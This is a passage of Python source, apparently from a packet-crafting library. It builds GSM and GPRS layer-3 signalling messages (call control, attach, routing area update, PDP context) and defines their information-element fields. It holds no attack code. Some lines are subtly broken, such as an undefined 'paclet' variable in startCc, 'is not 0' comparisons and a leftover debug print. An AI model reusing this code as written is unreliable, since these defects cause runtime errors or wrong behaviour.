BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if CallingPartySubaddress_presence is 1: g = CallingPartySubaddressHdr(ieiCPS=0x5D, eightBitCPS=0x0) packet = packet / g if CalledPartyBcdNumber_presence is 1: h = CalledPartyBcdNumberHdr(ieiCPBN=0x5E, eightBitCPBN=0x0) packet = packet / h if CalledPartySubaddress_presence is 1: i = CalledPartySubaddressHdr(ieiCPS=0x6D, eightBitCPS=0x0) packet = packet / i if RepeatIndicator_presence1 is 1: j = RepeatIndicatorHdr(ieiRI=0xD0, eightBitRI=0x0) packet = packet / j if LowLayerCompatibility_presence is 1: k = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / k if LowLayerCompatibility_presence1 is 1: l = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / l if RepeatIndicator_presence2 is 1: m = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / m if HighLayerCompatibility_presence is 1: n = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / n if HighLayerCompatibility_presence1 is 1: o = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / o if UserUser_presence is 1: p = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / p if SsVersionIndicator_presence is 1: q = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / q if ClirSuppression_presence is 1: r = ClirSuppressionHdr(ieiCS=0xA1, eightBitCS=0x0) packet = packet / r if ClirInvocation_presence is 1: s = ClirInvocationHdr(ieiCI=0xA2, eightBitCI=0x0) packet = packet / s if CallControlCapabilities_presence is 1: t = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = packet / t if Facility_presence1 is 1: u = FacilityHdr(ieiF=0x1D, eightBitF=0x0) packet = packet / u if Facility_presence2 is 1: v = FacilityHdr(ieiF=0x1B, eightBitF=0x0) packet = packet / v return packet def startCc(CallControlCapabilities_presence=0): """START CC Section 9.3.23a""" a = TpPd(pd=0x3) b = MessageType(mesType=0x9) # 00001001 packet = a / b if CallControlCapabilities_presence is 1: c = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = paclet / c return packet def startDtmf(): """START DTMF Section 9.3.24""" a = TpPd(pd=0x3) b = MessageType(mesType=0x35) # 00110101 c = KeypadFacilityHdr(ieiKF=0x2C, eightBitKF=0x0) packet = a / b / c return packet # Network to MS def startDtmfAcknowledge(): """START DTMF ACKNOWLEDGE Section 9.3.25""" a = TpPd(pd=0x3) b = MessageType(mesType=0x32) # 00110010 c = KeypadFacilityHdr(ieiKF=0x2C, eightBitKF=0x0) packet = a / b / c return packet # Network to MS def startDtmfReject(): """ START DTMF REJECT Section 9.3.26""" a = TpPd(pd=0x3) b = MessageType(mesType=0x37) # 00110111 c = Cause() packet = a / b / c return packet def status(AuxiliaryStates_presence=0): """STATUS Section 9.3.27""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3d) # 00111101 c = Cause() d = CallState() packet = a / b / c / d if AuxiliaryStates_presence is 1: e = AuxiliaryStatesHdr(ieiAS=0x24, eightBitAS=0x0) packet = packet / e return packet def statusEnquiry(): """STATUS ENQUIRY Section 9.3.28""" a = TpPd(pd=0x3) b = MessageType(mesType=0x34) # 00110100 packet = a / b return packet def stopDtmf(): """STOP DTMF Section 9.3.29""" a = TpPd(pd=0x3) b = MessageType(mesType=0x31) # 00110001 packet = a / b return packet # Network to MS def stopDtmfAcknowledge(): """STOP DTMF ACKNOWLEDGE Section 9.3.30""" a = TpPd(pd=0x3) b = MessageType(mesType=0x32) # 00110010 packet = a / b return packet def userInformation(MoreData_presence=0): """USER INFORMATION Section 9.3.31""" a = TpPd(pd=0x3) b = MessageType(mesType=0x20) # 000100000 c = UserUser() packet = a / b / c if MoreData_presence is 1: d = MoreDataHdr(ieiMD=0xA0, eightBitMD=0x0) packet = packet / d return packet # # 9.4 GPRS Mobility Management Messages # def attachRequest(PTmsiSignature_presence=0, GprsTimer_presence=0, TmsiStatus_presence=0): """ATTACH REQUEST Section 9.4.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 0000001 c = MsNetworkCapability() d = AttachTypeAndCiphKeySeqNr() f = DrxParameter() g = MobileId() h = RoutingAreaIdentification() i = MsRadioAccessCapability() packet = a / b / c / d / f / g / h / i if PTmsiSignature_presence is 1: j = PTmsiSignature(ieiPTS=0x19) packet = packet / j if GprsTimer_presence is 1: k = GprsTimer(ieiGT=0x17) packet = packet / k if TmsiStatus_presence is 1: l = TmsiStatus(ieiTS=0x9) packet = packet / l return packet def attachAccept(PTmsiSignature_presence=0, GprsTimer_presence=0, MobileId_presence=0, MobileId_presence1=0, GmmCause_presence=0): """ATTACH ACCEPT Section 9.4.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2) # 00000010 c = AttachResult() d = ForceToStandby() e = GprsTimer() f = RadioPriorityAndSpareHalfOctets() h = RoutingAreaIdentification() packet = a / b / c / d / e / f / h if PTmsiSignature_presence is 1: i = PTmsiSignature(ieiPTS=0x19) packet = packet / i if GprsTimer_presence is 1: j = GprsTimer(ieiGT=0x17) packet = packet / j if MobileId_presence is 1: k = MobileIdHdr(ieiMI=0x18, eightBitMI=0x0) packet = packet / k if MobileId_presence1 is 1: l = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / l if GmmCause_presence is 1: m = GmmCause(ieiGC=0x25) packet = packet / m return packet def attachComplete(): """ATTACH COMPLETE Section 9.4.3""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3) # 00000011 packet = a / b return packet def attachReject(): """ATTACH REJECT Section 9.4.4""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 c = GmmCause() packet = a / b / c return packet def detachRequest(GmmCause_presence=0): """DETACH REQUEST Section 9.4.5""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 c = DetachTypeAndForceToStandby() packet = a / b / c if GmmCause_presence is 1: e = GmmCause(ieiGC=0x25) packet = packet / e return packet def detachRequestMsOriginating(): """DETACH REQUEST Section 9.4.5.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 c = DetachTypeAndSpareHalfOctets() packet = a / b / c return packet def detachAcceptMsTerminated(): """DETACH ACCEPT Section 9.4.6.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 packet = a / b return packet def detachAcceptMsOriginating(): """DETACH ACCEPT Section 9.4.6.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 c = ForceToStandbyAndSpareHalfOctets() packet = a / b / c return packet def ptmsiReallocationCommand(PTmsiSignature_presence=0): """P-TMSI REALLOCATION COMMAND Section 9.4.7""" a = TpPd(pd=0x3) b = MessageType(mesType=0x10) # 00010000 c = MobileId() d = RoutingAreaIdentification() e = ForceToStandbyAndSpareHalfOctets() packet = a / b / c / d / e if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g return packet def ptmsiReallocationComplete(): """P-TMSI REALLOCATION COMPLETE Section 9.4.8""" a = TpPd(pd=0x3) b = MessageType(mesType=0x11) # 00010001 packet = a / b return packet def authenticationAndCipheringRequest( AuthenticationParameterRAND_presence=0, CiphKeySeqNr_presence=0): """AUTHENTICATION AND CIPHERING REQUEST Section 9.4.9""" a = TpPd(pd=0x3) b = MessageType(mesType=0x12) # 00010010 d = CipheringAlgorithmAndImeisvRequest() e = ForceToStandbyAndAcReferenceNumber() packet = a / b / d / e if AuthenticationParameterRAND_presence is 1: g = AuthenticationParameterRAND(ieiAPR=0x21) packet = packet / g if CiphKeySeqNr_presence is 1: h = CiphKeySeqNrHdr(ieiCKSN=0x08, eightBitCKSN=0x0) packet = packet / h return packet def authenticationAndCipheringResponse( AuthenticationParameterSRES_presence=0, MobileId_presence=0): """AUTHENTICATION AND CIPHERING RESPONSE Section 9.4.10""" a = TpPd(pd=0x3) b = MessageType(mesType=0x13) # 00010011 c = AcReferenceNumberAndSpareHalfOctets() packet = a / b / c if AuthenticationParameterSRES_presence is 1: e = AuthenticationParameterSRES(ieiAPS=0x22) packet = packet / e if MobileId_presence is 1: f = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / f return packet def authenticationAndCipheringReject(): """AUTHENTICATION AND CIPHERING REJECT Section 9.4.11""" a = TpPd(pd=0x3) b = MessageType(mesType=0x14) # 00010100 packet = a / b return packet def identityRequest(): """IDENTITY REQUEST Section 9.4.12""" a = TpPd(pd=0x3) b = MessageType(mesType=0x15) # 00010101 c = IdentityType2AndforceToStandby() packet = a / b / c return packet def identityResponse(): """IDENTITY RESPONSE Section 9.4.13""" a = TpPd(pd=0x3) b = MessageType(mesType=0x16) # 00010110 c = MobileId() packet = a / b / c return packet def routingAreaUpdateRequest(PTmsiSignature_presence=0, GprsTimer_presence=0, DrxParameter_presence=0, TmsiStatus_presence=0): """ROUTING AREA UPDATE REQUEST Section 9.4.14""" a = TpPd(pd=0x3) b = MessageType(mesType=0x8) # 00001000 c = UpdateTypeAndCiphKeySeqNr() e = RoutingAreaIdentification() f = MsNetworkCapability() packet = a / b / c / e / f if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g if GprsTimer_presence is 1: h = GprsTimer(ieiGT=0x17) packet = packet / h if DrxParameter_presence is 1: i = DrxParameter(ieiDP=0x27) packet = packet / i if TmsiStatus_presence is 1: j = TmsiStatus(ieiTS=0x9) packet = packet / j return packet def routingAreaUpdateAccept(PTmsiSignature_presence=0, MobileId_presence=0, MobileId_presence1=0, ReceiveNpduNumbersList_presence=0, GprsTimer_presence=0, GmmCause_presence=0): """ROUTING AREA UPDATE ACCEPT Section 9.4.15""" a = TpPd(pd=0x3) b = MessageType(mesType=0x9) # 00001001 c = ForceToStandbyAndUpdateResult() e = GprsTimer() f = RoutingAreaIdentification() packet = a / b / c / e / f if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g if MobileId_presence is 1: h = MobileIdHdr(ieiMI=0x18, eightBitMI=0x0) packet = packet / h if MobileId_presence1 is 1: i = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / i if ReceiveNpduNumbersList_presence is 1: j = ReceiveNpduNumbersList(ieiRNNL=0x26) packet = packet / j if GprsTimer_presence is 1: k = GprsTimer(ieiGT=0x17) packet = packet / k if GmmCause_presence is 1: l = GmmCause(ieiGC=0x25) packet = packet / l return packet def routingAreaUpdateComplete(ReceiveNpduNumbersList_presence=0): """ROUTING AREA UPDATE COMPLETE Section 9.4.16""" a = TpPd(pd=0x3) b = MessageType(mesType=0xa) # 00001010 packet = a / b if ReceiveNpduNumbersList_presence is 1: c = ReceiveNpduNumbersList(ieiRNNL=0x26) packet = packet / c return packet def routingAreaUpdateReject(): """ROUTING AREA UPDATE REJECT Section 9.4.17""" a = TpPd(pd=0x3) b = MessageType(mesType=0xb) # 00001011 c = GmmCause() d = ForceToStandbyAndSpareHalfOctets() packet = a / b / c / d return packet def gmmStatus(): """GMM STATUS Section 9.4.18""" a = TpPd(pd=0x3) b = MessageType(mesType=0x20) # 00100000 c = GmmCause() packet = a / b / c return packet def gmmInformation(NetworkName_presence=0, NetworkName_presence1=0, TimeZone_presence=0, TimeZoneAndTime_presence=0, LsaIdentifier_presence=0): """GMM INFORMATION Section 9.4.19""" a = TpPd(pd=0x3) b = MessageType(mesType=0x21) # 00100001 packet = a / b if NetworkName_presence is 1: c = NetworkNameHdr(ieiNN=0x43, eightBitNN=0x0) packet = packet / c if NetworkName_presence1 is 1: d = NetworkNameHdr(ieiNN=0x45, eightBitNN=0x0) packet = packet / d if TimeZone_presence is 1: e = TimeZoneHdr(ieiTZ=0x46, eightBitTZ=0x0) packet = packet / e if TimeZoneAndTime_presence is 1: f = TimeZoneAndTimeHdr(ieiTZAT=0x47, eightBitTZAT=0x0) packet = packet / f if LsaIdentifier_presence is 1: g = LsaIdentifierHdr(ieiLI=0x48, eightBitLI=0x0) packet = packet / g return packet # # 9.5 GPRS Session Management Messages # def activatePdpContextRequest(AccessPointName_presence=0, ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT REQUEST Section 9.5.1""" a = TpPd(pd=0x8) b = MessageType(mesType=0x41) # 01000001 c = NetworkServiceAccessPointIdentifier() d = LlcServiceAccessPointIdentifier() e = QualityOfService() f = PacketDataProtocolAddress() packet = a / b / c / d / e / f if AccessPointName_presence is 1: g = AccessPointName(ieiAPN=0x28) packet = packet / g if ProtocolConfigurationOptions_presence is 1: h = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / h return packet def activatePdpContextAccept(PacketDataProtocolAddress_presence=0, ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT ACCEPT Section 9.5.2""" a = TpPd(pd=0x8) b = MessageType(mesType=0x42) # 01000010 c = LlcServiceAccessPointIdentifier() d = QualityOfService() e = RadioPriorityAndSpareHalfOctets() packet = a / b / c / d / e if PacketDataProtocolAddress_presence is 1: f = PacketDataProtocolAddress(ieiPDPA=0x2B) packet = packet / f if ProtocolConfigurationOptions_presence is 1: g = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / g return packet def activatePdpContextReject(ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT REJECT Section 9.5.3""" a = TpPd(pd=0x8) b = MessageType(mesType=0x43) # 01000011 c = SmCause() packet = a / b / c if ProtocolConfigurationOptions_presence is 1: d = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / d return packet def requestPdpContextActivation(AccessPointName_presence=0): """REQUEST PDP CONTEXT ACTIVATION Section 9.5.4""" a = TpPd(pd=0x8) b = MessageType(mesType=0x44) # 01000100 c = PacketDataProtocolAddress() packet = a / b / c if AccessPointName_presence is 1: d = AccessPointName(ieiAPN=0x28) packet = packet / d return packet def requestPdpContextActivationReject(): """REQUEST PDP CONTEXT ACTIVATION REJECT Section 9.5.5""" a = TpPd(pd=0x8) b = MessageType(mesType=0x45) # 01000101 c = SmCause() packet = a / b / c return packet def modifyPdpContextRequest(): """MODIFY PDP CONTEXT REQUEST Section 9.5.6""" a = TpPd(pd=0x8) b = MessageType(mesType=0x48) # 01001000 c = RadioPriorityAndSpareHalfOctets() d = LlcServiceAccessPointIdentifier() e = QualityOfService() packet = a / b / c / d / e return packet def modifyPdpContextAccept(): """MODIFY PDP CONTEXT ACCEPT Section 9.5.7""" a = TpPd(pd=0x8) b = MessageType(mesType=0x45) # 01000101 packet = a / b return packet def deactivatePdpContextRequest(): """DEACTIVATE PDP CONTEXT REQUEST Section 9.5.8""" a = TpPd(pd=0x8) b = MessageType(mesType=0x46) # 01000110 c = SmCause() packet = a / b / c return packet def deactivatePdpContextAccept(): """DEACTIVATE PDP CONTEXT ACCEPT Section 9.5.9""" a = TpPd(pd=0x8) b = MessageType(mesType=0x47) # 01000111 packet = a / b return packet def activateAaPdpContextRequest(AccessPointName_presence=0, ProtocolConfigurationOptions_presence=0, GprsTimer_presence=0): """ACTIVATE AA PDP CONTEXT REQUEST Section 9.5.10""" a = TpPd(pd=0x8) b = MessageType(mesType=0x50) # 01010000 c = NetworkServiceAccessPointIdentifier() d = LlcServiceAccessPointIdentifier() e = QualityOfService() f = PacketDataProtocolAddress() packet = a / b / c / d / e / f if AccessPointName_presence is 1: g = AccessPointName(ieiAPN=0x28) packet = packet / g if ProtocolConfigurationOptions_presence is 1: h = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / h if GprsTimer_presence is 1: i = GprsTimer(ieiGT=0x29) packet = packet / i return packet def activateAaPdpContextAccept(ProtocolConfigurationOptions_presence=0, GprsTimer_presence=0): """ACTIVATE AA PDP CONTEXT ACCEPT Section 9.5.11""" a = TpPd(pd=0x8) b = MessageType(mesType=0x51) # 01010001 c = LlcServiceAccessPointIdentifier() d = QualityOfService() e = MobileId() f = PacketDataProtocolAddress() g = RadioPriorityAndSpareHalfOctets() packet = a / b / c / d / e / f / g if ProtocolConfigurationOptions_presence is 1: i = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / i if GprsTimer_presence is 1: j = GprsTimer(ieiGT=0x29) packet = packet / j return packet def activateAaPdpContextReject(ProtocolConfigurationOptions_presence=0): """ACTIVATE AA PDP CONTEXT REJECT Section 9.5.12""" a = TpPd(pd=0x8) b = MessageType(mesType=0x52) # 01010010 c = SmCause() packet = a / b / c if ProtocolConfigurationOptions_presence is 1: d = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / d return packet def deactivateAaPdpContextRequest(): """DEACTIVATE AA PDP CONTEXT REQUEST Section 9.5.13""" a = TpPd(pd=0x8) b = MessageType(mesType=0x53) # 01010011 c = AaDeactivationCauseAndSpareHalfOctets() packet = a / b / c return packet def deactivateAaPdpContextAccept(): """DEACTIVATE AA PDP CONTEXT ACCEPT Section 9.5.14""" a = TpPd(pd=0x8) b = MessageType(mesType=0x54) # 01010100 packet = a / b return packet def smStatus(): """SM STATUS Section 9.5.15""" a = TpPd(pd=0x8) b = MessageType(mesType=0x55) # 01010101 c = SmCause() packet = a / b / c return packet # ============================================# # Information Elements contents (Section 10) # # =========================================== # #### # This section contains the elements we need to build the messages #### # # Common information elements: # class CellIdentityHdr(Packet): """ Cell identity Section 10.5.1.1 """ name = "Cell Identity" fields_desc = [ BitField("eightBitCI", None, 1), XBitField("ieiCI", None, 7), ByteField("ciValue1", 0x0), ByteField("ciValue2", 0x0) ] class CiphKeySeqNrHdr(Packet): """ Ciphering Key Sequence Number Section 10.5.1.2 """ name = "Cipher Key Sequence Number" fields_desc = [ XBitField("ieiCKSN", None, 4), BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] # Fix 1/2 len problem class CiphKeySeqNrAndSpareHalfOctets(Packet): name = "Cipher Key Sequence Number and Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] # Fix 1/2 len problem class CiphKeySeqNrAndMacModeAndChannelCodingRequest(Packet): name = "Cipher Key Sequence Number and Mac Mode And Channel Coding Request" fields_desc = [ BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3), BitField("macMode", 0x0, 2), BitField("cs", 0x0, 2) ] class LocalAreaIdHdr(Packet): """ Local Area Identification Section 10.5.1.3 """ name = "Location Area Identification" fields_desc = [ BitField("eightBitLAI", None, 1), XBitField("ieiLAI", None, 7), BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), BitField("mncDigit3", 0x0, 4), BitField("mccDigit3", 0x0, 4), BitField("mncDigit2", 0x0, 4), BitField("mncDigit1", 0x0, 4), ByteField("lac1", 0x0), ByteField("lac2", 0x0) ] # # The Mobile Identity is a type 4 information element with a minimum # length of 3 octet and 11 octets length maximal. # # len 3 - 11 class MobileIdHdr(Packet): """ Mobile Identity Section 10.5.1.4 """ name = "Mobile Identity" fields_desc = [ BitField("eightBitMI", 0x0, 1), XBitField("ieiMI", 0x0, 7), XByteField("lengthMI", None), BitField("idDigit1", 0x0, 4), BitField("oddEven", 0x0, 1), BitField("typeOfId", 0x0, 3), BitField("idDigit2_1", None, 4), # optional BitField("idDigit2", None, 4), BitField("idDigit3_1", None, 4), BitField("idDigit3", None, 4), BitField("idDigit4_1", None, 4), BitField("idDigit4", None, 4), BitField("idDigit5_1", None, 4), BitField("idDigit5", None, 4), BitField("idDigit6_1", None, 4), BitField("idDigit6", None, 4), BitField("idDigit7_1", None, 4), BitField("idDigit7", None, 4), BitField("idDigit8_1", None, 4), BitField("idDigit8", None, 4), BitField("idDigit9_1", None, 4), BitField("idDigit9", None, 4), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i, None)) # this list holds the values of # the variables, the INTERESSTING value! res = adapt(3, 11, a, self.fields_desc) if self.lengthMI is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] is not 0: p = p[:-res[0]] print(repr(p)) return p + pay class MobileStationClassmark1Hdr(Packet): """ Mobile Station Classmark 1 Section 10.5.1.5 """ name = "Mobile Station Classmark 1" fields_desc = [ BitField("eightBitiMSC1", None, 1), XBitField("ieiMSC1", None, 7), BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3) ] class MobileStationClassmark2Hdr(Packet): """ Mobile Station Classmark 2 Section 10.5.1.6 """ name = "Mobile Station Classmark 2" fields_desc = [ BitField("eightBitMSC2", None, 1), XBitField("ieiMSC2", None, 7), XByteField("lengthMSC2", 0x3), BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3), BitField("spare1", 0x0, 1), BitField("psCap", 0x0, 1), BitField("ssScreenInd", 0x0, 2), BitField("smCaPabi", 0x0, 1), BitField("vbs", 0x0, 1), BitField("vgcs", 0x0, 1), BitField("fc", 0x0, 1), BitField("cm3", 0x0, 1), BitField("spare2", 0x0, 1), BitField("lcsvaCap", 0x0, 1), BitField("spare3", 0x0, 1), BitField("soLsa", 0x0, 1), BitField("cmsp", 0x0, 1), BitField("a53", 0x0, 1), BitField("a52", 0x0, 1) ] # len max 14 class MobileStationClassmark3(Packet): """ Mobile Station Classmark 3 Section 10.5.1.7 """ name = "Mobile Station Classmark 3" fields_desc = [ # FIXME ByteField("ieiMSC3", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0) ] class SpareHalfOctets(Packet): """ Spare Half Octet Section 10.5.1.8 """ name = "Spare Half Octet" fields_desc = [ BitField("filler", None, 4), BitField("spareHalfOctets", 0x0, 4) ] class DescriptiveGroupOrBroadcastCallReferenceHdr(Packet): """ Descriptive group or broadcast call reference Section 10.5.1.9 """ name = "Descriptive Group or Broadcast Call Reference" fields_desc = [ BitField("eightBitDGOBCR", None, 1), XBitField("ieiDGOBCR", None, 7), BitField("binCallRef", 0x0, 27), BitField("sf", 0x0, 1), BitField("fa", 0x0, 1), BitField("callPrio", 0x0, 3), BitField("cipherInfo", 0x0, 4), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1) ] class GroupCipherKeyNumber(Packet): """ Group Cipher Key Number reference Section 10.5.1.10 """ name = "Group Cipher Key Number" fields_desc = [ XBitField("ieiGCKN", None, 4), BitField("groupCipher", 0x0, 4) ] class PdAndSapiHdr(Packet): """ PD and SAPI $(CCBS)$ Section 10.5.1.10a """ name = "PD and SAPI $(CCBS)$" fields_desc = [ BitField("eightBitPAS", None, 1), XBitField("ieiPAS", None, 7), BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("sapi", 0x0, 2), BitField("pd", 0x0, 4) ] class PriorityLevelHdr(Packet): """ Priority Level Section 10.5.1.11 """ name = "Priority Level" fields_desc = [ XBitField("ieiPL", None, 4), BitField("spare", 0x0, 1), BitField("callPrio", 0x0, 3) ] # # Radio Resource management information elements # # len 6 to max for L3 message (251) class BaRangeHdr(Packet): """ BA Range Section 10.5.2.1a """ name = "BA Range" fields_desc = [ BitField("eightBitBR", None, 1), XBitField("ieiBR", None, 7), XByteField("lengthBR", None), #error: byte format requires -128 <= number <= 127 ByteField("nrOfRanges", 0x0), # # rX = range X # # L o = Lower H i = higher # # H p = high Part Lp = low Part ByteField("r1LoHp", 0x0), BitField("r1LoLp", 0x0, 3), BitField("r1HiHp", 0x0, 5), BitField("r1HiLp", 0x0, 4), BitField("r2LoHp", 0x0, 4), # optional BitField("r2LoLp", None, 5), BitField("r2HiHp", None, 3), ByteField("r2HiLp", None), ByteField("r3LoHp", None), BitField("r3LoLp", None, 5), BitField("r3HiHp", None, 3), ByteField("r3HiLp", None), ByteField("r4LoHp", None), BitField("r4LoLp", None, 5), BitField("r4HiHp", None, 3), ByteField("r4HiLp", None), ByteField("r5LoHp", None), BitField("r5LoLp", None, 5), BitField("r5HiHp", None, 3), ByteField("r5HiLp", None), ByteField("r6LoHp", None), BitField("r6LoLp", None, 5), BitField("r6HiHp", None, 3), ByteField("r6HiLp", None), ByteField("r7LoHp", None), BitField("r7LoLp", None, 5), BitField("r7HiHp", None, 3), ByteField("r7HiLp", None), ByteField("r8LoHp", None), BitField("r8LoLp", None, 5), BitField("r8HiHp", None, 3), ByteField("r8HiLp", None), ByteField("r9LoHp", None), BitField("r9LoLp", None, 5), BitField("r9HiHp", None, 3), ByteField("r9HiLp", None), ByteField("r10LoHp", None), BitField("r10LoLp", None, 5), BitField("r10HiHp", None, 3), ByteField("r10HiLp", None), ByteField("r11LoHp", None), BitField("r11LoLp", None, 5), BitField("r11HiHp", None, 3), ByteField("r11HiLp", None), ByteField("r12LoHp", None), BitField("r12LoLp", None, 5), BitField("r12HiHp", None, 3), ByteField("r12HiLp", None), ByteField("r13LoHp", None), BitField("r13LoLp", None, 5), BitField("r13HiHp", None, 3), ByteField("r13HiLp", None), ByteField("r14LoHp", None), BitField("r14LoLp", None, 5), BitField("r14HiHp", None, 3), ByteField("r14HiLp", None), ByteField("r15LoHp", None), BitField("r15LoLp", None, 5), BitField("r15HiHp", None, 3), ByteField("r15HiLp", None), ByteField("r16LoHp", None), BitField("r16LoLp", None, 5), BitField("r16HiHp", None, 3), ByteField("r16HiLp", None), ByteField("r17LoHp", None), BitField("r17LoLp", None, 5), BitField("r17HiHp", None, 3), ByteField("r17HiLp", None), ByteField("r18LoHp", None), BitField("r18LoLp", None, 5), BitField("r18HiHp", None, 3), ByteField("r18HiLp", None), ByteField("r19LoHp", None), BitField("r19LoLp", None, 5), BitField("r19HiHp", None, 3), ByteField("r19HiLp", None), ByteField("r20LoHp", None), BitField("r20LoLp", None, 5), BitField("r20HiHp", None, 3), ByteField("r20HiLp", None), ByteField("r21LoHp", None), BitField("r21LoLp", None, 5), BitField("r21HiHp", None, 3), ByteField("r21HiLp", None), ByteField("r22LoHp", None), BitField("r22LoLp", None, 5), BitField("r22HiHp", None, 3), ByteField("r22HiLp", None), ByteField("r23LoHp", None), BitField("r23LoLp", None, 5), BitField("r23HiHp", None, 3), ByteField("r23HiLp", None), ByteField("r24LoHp", None), BitField("r24LoLp", None, 5), BitField("r24HiHp", None, 3), ByteField("r24HiLp", None), ByteField("r25LoHp", None), BitField("r25LoLp", None, 5), BitField("r25HiHp", None, 3), ByteField("r25HiLp", None), ByteField("r26LoHp", None), BitField("r26LoLp", None, 5), BitField("r26HiHp", None, 3), ByteField("r26HiLp", None), ByteField("r27LoHp", None), BitField("r27LoLp", None, 5), BitField("r27HiHp", None, 3), ByteField("r27HiLp", None), ByteField("r28LoHp", None), BitField("r28LoLp", None, 5), BitField("r28HiHp", None, 3), ByteField("r28HiLp", None), ByteField("r29LoHp", None), BitField("r29LoLp", None, 5), BitField("r29HiHp", None, 3), ByteField("r29HiLp", None), ByteField("r30LoHp", None), BitField("r30LoLp", None, 5), BitField("r30HiHp", None, 3), ByteField("r30HiLp", None), ByteField("r31LoHp", None), BitField("r31LoLp", None, 5), BitField("r31HiHp", None, 3), ByteField("r31HiLp", None), ByteField("r32LoHp", None), BitField("r32LoLp", None, 5), BitField("r32HiHp", None, 3), ByteField("r32HiLp", None), ByteField("r33LoHp", None), BitField("r33LoLp", None, 5), BitField("r33HiHp", None, 3), ByteField("r33HiLp", None), ByteField("r34LoHp", None), BitField("r34LoLp", None, 5), BitField("r34HiHp", None, 3), ByteField("r34HiLp", None), ByteField("r35LoHp", None), BitField("r35LoLp", None, 5), BitField("r35HiHp", None, 3), ByteField("r35HiLp", None), ByteField("r36LoHp", None), BitField("r36LoLp", None, 5), BitField("r36HiHp", None, 3), ByteField("r36HiLp", None), ByteField("r37LoHp", None), BitField("r37LoLp", None, 5), BitField("r37HiHp", None, 3), ByteField("r37HiLp", None), ByteField("r38LoHp", None), BitField("r38LoLp", None, 5), BitField("r38HiHp", None, 3), ByteField("r38HiLp", None), ByteField("r39LoHp", None), BitField("r39LoLp", None, 5), BitField("r39HiHp", None, 3), ByteField("r39HiLp", None), ByteField("r40LoHp", None), BitField("r40LoLp", None, 5), BitField("r40HiHp", None, 3), ByteField("r40HiLp", None), ByteField("r41LoHp", None), BitField("r41LoLp", None, 5), BitField("r41HiHp", None, 3), ByteField("r41HiLp", None), ByteField("r42LoHp", None), BitField("r42LoLp", None, 5), BitField("r42HiHp", None, 3), ByteField("r42HiLp", None), ByteField("r43LoHp", None), BitField("r43LoLp", None, 5), BitField("r43HiHp", None, 3), ByteField("r43HiLp", None), ByteField("r44LoHp", None), BitField("r44LoLp", None, 5), BitField("r44HiHp", None, 3), ByteField("r44HiLp", None), ByteField("r45LoHp", None), BitField("r45LoLp", None, 5), BitField("r45HiHp", None, 3), ByteField("r45HiLp", None), ByteField("r46LoHp", None), BitField("r46LoLp", None, 5), BitField("r46HiHp", None, 3), ByteField("r46HiLp", None), ByteField("r47LoHp", None), BitField("r47LoLp", None, 5), BitField("r47HiHp", None, 3), ByteField("r47HiLp", None), ByteField("r48LoHp", None), BitField("r48LoLp", 